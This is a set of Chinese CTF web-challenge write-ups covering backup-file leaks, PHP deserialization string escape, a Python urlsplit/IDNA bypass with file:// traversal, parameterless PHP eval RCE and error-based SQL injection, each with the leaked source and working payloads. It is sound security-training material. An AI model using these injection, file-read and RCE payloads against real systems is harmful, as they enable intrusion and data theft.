[ACTF2020 新生赛]BackupFile

分析

打开之后得到一句话:
Try to find out source file!

尝试找到源文件,所以尝试了一下source.php,但是发现404

接着有尝试了index.php,随后想到了文件泄露

也可以用御剑扫出来

知识点

敏感文件泄露

常见的敏感文件泄露主要分为

版本管理软件造成的泄露

1
2
3
4
5
6
7
git
hg
svn
bzr
cvs

以上除了git,均可以使用dvcs-ripper工具来利用

文件包含导致的泄露

1
2
3
4
5
6
7
8
9
10
11
.DS_Store
WEB-INF

.DS_Store利用方法为 XXX/.DS_Store

WEB-INF:
WEB-INF/web.xml : Web应用程序配置文件, 描述了servlet和其他的应用组件配置及命名规则.
WEB-INF/database.properties : 数据库配置文件
WEB-INF/classes/ : 一般用来存放Java类文件(.class)
WEB-INF/lib/ : 用来存放打包好的库(.jar)
WEB-INF/src/ : 用来放源代码(.asp和.php等)

备份文件泄露

1
2
3
4
5
6
7
8
9
.swp
.bak
www.zip
www.rar
www.tar

.swp和.bak利用方法为:index.php.swp(.bak)

XXX/www.zip(rar,tar)

具体参考一下这些文章
https://www.cnblogs.com/pannengzhi/p/2017-09-23-web-file-disclosure.html
https://blog.csdn.net/wy_97/article/details/78165051

dvcs-ripper工具使用方法
https://www.codetd.com/article/9717496

测试过程

这里的是bak备份文件泄露,index.php.bak即可下载到源码
使用notepad打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

分析代码可以知道,key参数以GET方式接受用户输入,利用了is_numeric来判断是否为数字,又利用了intval获取key的整数值

接下来看到str变量是123开头的一个字符串,str与key之间采用了==来进行判断,之前提到过===;

===和==个人理解下来就是前者为强判断,要求数据类型,长度和内容都要相同

PHP的弱类型特性==,int和string是无法直接比较的,php会将string转换成int然后再进行比较,转换成int比较时只保留数字,第一个字符串之后的所有内容会被截掉

payload:

1
index.php?key=123

直接得到flag

[0CTF 2016]piapiapia

分析

打开之后是一个登录界面,尝试了一下sql注入发现有关键字被过滤了,之后又尝试了一下万能密码,同时对其进行了目录扫描,发现有www.zip的文件泄露,下载打开源码

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];

if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');

if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');

if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Login</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">

<button type="submit" class="btn btn-primary">LOGIN</button>
</form>
</div>
</body>
</html>
<?php
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
<?php
require('config.php');

class user extends mysql{
private $table = 'users';

public function is_exists($username) {
$username = parent::filter($username);

$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}

class mysql {
private $link = null;

public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");

return $this->link;
}

public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}

public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}

public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}

public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);

config.php

1
2
3
4
5
6
7
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>

profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div>
</body>
</html>
<?php
}
?>

register.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];

if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');

if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Register</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">

<button type="submit" class="btn btn-primary">REGISTER</button>
</form>
</div>
</body>
</html>
<?php
}
?>

update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];

if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');

if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Register</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">

<button type="submit" class="btn btn-primary">REGISTER</button>
</form>
</div>
</body>
</html>
<?php
}
?>

由于审计不是太好,加上源码太多,所以用了seay审计工具审计了一下
avatar

发现profile.php存在一个任意文件读取

1
2
3
4
5
6
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

发现这里使用了file_get_contents()函数来获取photo的值,又发现在config.php中有flag,基本可以得知只要让photo的值等于config.php,基本上就能得到flag了

知识点

·任意文件读取
·参数传递数组绕过字符串检测

PHP反序列化逃逸

这里参考了
https://www.cnblogs.com/g0udan/p/12216207.html

举一个例子

1
2
3
4
5
6
7
<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>

运行结果:
1
array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(4) "defg" }

可以看到数组反序列化之后的字符串是以”;}来结尾的,如果我们把”;}带入到我们想要的字符串中,就可以提前闭合

把第二个值abc换成abc”;i:2;s:5:”qwert”;}

1
2
3
4
5
6
7
<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>

运行结果:

1
array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(5) "qwert" }

我们发现qwert代替了defg的位置

回到这题,我们发现例如select,where等会被替换为hacker,我们又得知了update.php是先序列化再进行替换,这就出现了一个问题,在序列化之后,参数的长度就被写死了,但是如果我们输入的是where,不合法,会被替换为hacker;

而where长度是5,hacker长度是6,参数长度又被写死了,再替换的时候就会形成实际参数长度大于了规定参数长度,就会发生溢出,这里其实就是PHP的反序列化字符逃逸

我们的目的是让photo的值为config.php,从而读出flag,所以结合刚才闭合的知识,构造一个字符串

1
";}s:5:"photo";s:10:"config.php";}

将其插入到序列化的字符串中去,可以看到构造的字符串,长度为34,而where每被替换成hacker,长度就会+1,所以我们共需要where*34

测试过程

config.php是我们想要的文件,可以先放一边

先看update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}

可以看到使用了正则来让phone,email合法化,nickname使用了正则和strlen函数,但是其中的关系为或,所以我们可以使用知识点2来对正则进行绕过,这里的知识点2就是将参数转换成数组,从而绕过了字符串的检测,让strlen函数满足就可以绕过正则了

接下来看看update_profile是什么函数,全局搜索,发现在class.php中

1
2
3
4
5
6
7
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

在class.php中查看剩下的函数

最后发现update.php的目的就是通过正则来过滤用户输入的值,然后进行序列化,非法的值会被过滤成hacker

先访问register.php,随便注册一个账号,并且登录

随便填写一下数据,并且抓包

将包里的nickname改为nickname[]
将其赋值为

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

这样一来,where会被替换为hacker,增多了34个长度,实际长度在序列化的时候就写死了,那么后面的”;}s:5:”photo”;s:10:”config.php”;}就会被挤出去,最后被读取为photo的值,末尾的”;}会将后面的闭合掉,那么upload也就没有意义了

发包,然后去profile.php查看读取到的congfig.php

avatar

解码之后,得到flag

而至于为什么要用”;},而不用”; ,是因为我们使用的是数组

这里举个例子

1
2
$a=array('12345678910','ssr@qq.com','XXX');
var_dump(serialize($a));

运行结果:

1
a:3:{i:0;s:11:"12345678910";i:1;s:10:"ssr@qq.com";i:2;s:3:"XXX";}

这是正常的序列化,而我们将刚才构造的字符串加上

1
2
$a=array('12345678910','ssr@qq.com','XXX";}s:5:"photo";s:10:"config.php";}');
var_dump(serialize($a));

运行结果:

1
a:3:{i:0;s:11:"12345678910";i:1;s:10:"ssr@qq.com";i:2;s:37:"XXX";}s:5:"photo";s:10:"config.php";}";}

我们可以看到,数组由于是以”;}结尾的,加上之后,字符串中的前面的”;}闭合了前面的,后面的”;}又闭合了序列化生成的”;},这样就达到了目的

SUCTF 2019-Pythonginx

分析

打开之后,给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

发现并没有什么思路,去查了一下WP

参考了
http://www.mamicode.com/info-detail-2772324.html
https://www.cnblogs.com/Cl0ud/p/12187204.html

知识点

CVE-2019-9636:urlsplit不处理NFKC标准化

https://bugs.python.org/issue36216

Nginx重要文件位置

1
2
3
4
5
6
7
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx

测试过程

blackhat该议题中想要说明的一点,当URL 中出现一些特殊字符的时候,输出的结果可能不在预期

所以按照getUrl函数写出爆破脚本即可得到我们能够逃逸的构造语句了

脚本是偷来的,自己做了一点注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from urllib.parse import urlparse, urlunsplit, urlsplit
from urllib import parse


def get_unicode():
for x in range(65536): #遍历所有整数对应的ASCII字符
uni = chr(x)
url = "http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: " + uni + ' unicode: \\u' + str(hex(x))[2:])
except:
pass


def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False


if __name__ == '__main__':
get_unicode()

运行结果

1
2
3
4
5
6
7
8
str:unicode: \u2102
str:unicode: \u212d
str:unicode: \u216d
str:unicode: \u217d
str:unicode: \u24b8
str:unicode: \u24d2
str:unicode: \uff23
str:unicode: \uff43

随便选一个构造payload
1
getUrl?url=file://suctf.cⓒ/../../../../../usr/local/nginx/conf/nginx.conf

读取nginx.conf配置文件

得到了
server { listen 80; location / { try_files $uri @app; } location @app { include uwsgi_params; uwsgi_pass unix:///tmp/uwsgi.sock; } location /static { alias /app/static; } # location /flag { # alias /usr/fffffflag; # } }

看到了/usr/fffffflag,接着构造payload

1
getUrl?url=file://suctf.cⓒ/../../../../../usr/fffffflag

得到flag

[GXYCTF2019]禁止套娃

分析

打开题目,啥也没有,F12也没有提示,所以考虑一下文件泄露,最后试出来是git泄露,所以直接GitHack下载

得到index.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

可以看到用了三个if还有正则来过滤

第一个if,看到是过滤了一些协议,看来任意文件读取是没戏了
第二个if,?R百度了一下,是引用当前表达式的意思,即a(b())这种类型
第三个if,就过滤了一些字符

知识点

·git泄露
·无参RCE

无参RCE

类似于

1
2
3
4
5
6
7
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
?>

表达式只能为a(b())形式的就是无参RCE,即a(XXX)是不合法的

所以就是说,只能使用函数来达到目的

测试过程

1
scandir()   列出 images 目录中的文件和目录

但是想要得到当前路径,那就得scandir(‘.’),而有参数是不合法的,所以只能去找函数了

想不到有啥函数,所以去看了一下WP
参考了:
https://www.cnblogs.com/wangtanzhi/p/12260986.html
https://blog.csdn.net/qq_42812036/article/details/104406481

1
localeconv() 函数返回一包含本地数字及货币格式信息的数组

得到了这样一个函数
在本地测试了一下
1
2
3
<?php

print_r(localeconv());

运行结果:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Array
(
[decimal_point] => .
[thousands_sep] =>
[int_curr_symbol] =>
[currency_symbol] =>
[mon_decimal_point] =>
[mon_thousands_sep] =>
[positive_sign] =>
[negative_sign] =>
[int_frac_digits] => 127
[frac_digits] => 127
[p_cs_precedes] => 127
[p_sep_by_space] => 127
[n_cs_precedes] => 127
[n_sep_by_space] => 127
[p_sign_posn] => 127
[n_sign_posn] => 127
[grouping] => Array
(
)

[mon_grouping] => Array
(
)

)

看到了第一个就是.,所以这里用current()函数,来返回这个点

补充一下函数

1
2
current() 返回数组中的当前单元, 默认取第一个值
pos() current() 的别名

本地测试一下

1
2
3
<?php

print_r(current(localeconv()));

运行结果:
1
.

发现成功得到了一个.

所以构造payload

1
?exp=print_r(scandir(current(localeconv())));

得到了
1
Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )

看到flag.php在第四个位置,想用next()函数套娃,得到flag.php,但是发现不可以,next()函数返回的是数组,不可以套娃

所以又想到了使用array_reverse()

1
array_reverse() 函数返回翻转顺序的数组

反过来之后,再next不就可以了

想用file_get_contents()函数,但是发现第三个if中ban掉了et,所以找他的替代函数

1
2
readfile()
hightlight_file()

这三个函数的意思都差不多,都是获取文件中的内容

构造payload

1
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

得到flag

函数整理

1
2
3
4
5
6
7
8
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。

看了WP之后,还发现有几个骚姿势

姿势补充

方法二

使用array_flip()和array_rand()来随机读取

1
2
array_flip()交换数组的键和值
array_rand()从数组中随机取出一个或多个单元

payload

1
?exp=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));

多刷新几次就可以得到flag了

方法三

使用session_id(session_start())

使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。

因此我们手动设置名为PHPSESSID的cookie,并设置值为flag.php

[GXYCTF2019]禁止套娃0.png
avatar
avatar

[极客大挑战 2019]HardSQL

分析

还是一样的界面,尝试了一下万能密码和双写注入,发现都不行,经过手工验证发现过滤了空格,union,and,=等多个SQL关键字

知识点

·报错注入

报错注入

报错注入常用updatexml()和extractvalue()来利用

例如

1
2
3
http://localhost/sqli.php?name=' or extractvalue(1,concat(user(),0x7e,version())) # &pass=1

http://localhost/index.php?name=' or updatexml(1,concat(user(),0x7e,version()),1) # &pass=1

这个题目由于过滤了空格,但是可以将语句用()括起来进行绕过空格

过滤了=,可以使用like来绕过

1
LIKE  操作符用于在 WHERE 子句中搜索列中的指定模式

由于限制了显示的长度,所以可以使用left()和right()函数来拼接flag

测试过程

先查看一下数据库,payload

1
?username=admin%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123

得到了geek

爆表payload

1
?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123

得到了H4rDsq1

爆字段payload

1
?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23&password=123

得到了id,username,password

爆数据payload

1
?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(username,password))from(H4rDsq1)),0x7e),1))%23&password=123

得到了前半段flag

使用right()来获取后半段

1
?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123

拼一下,得到flag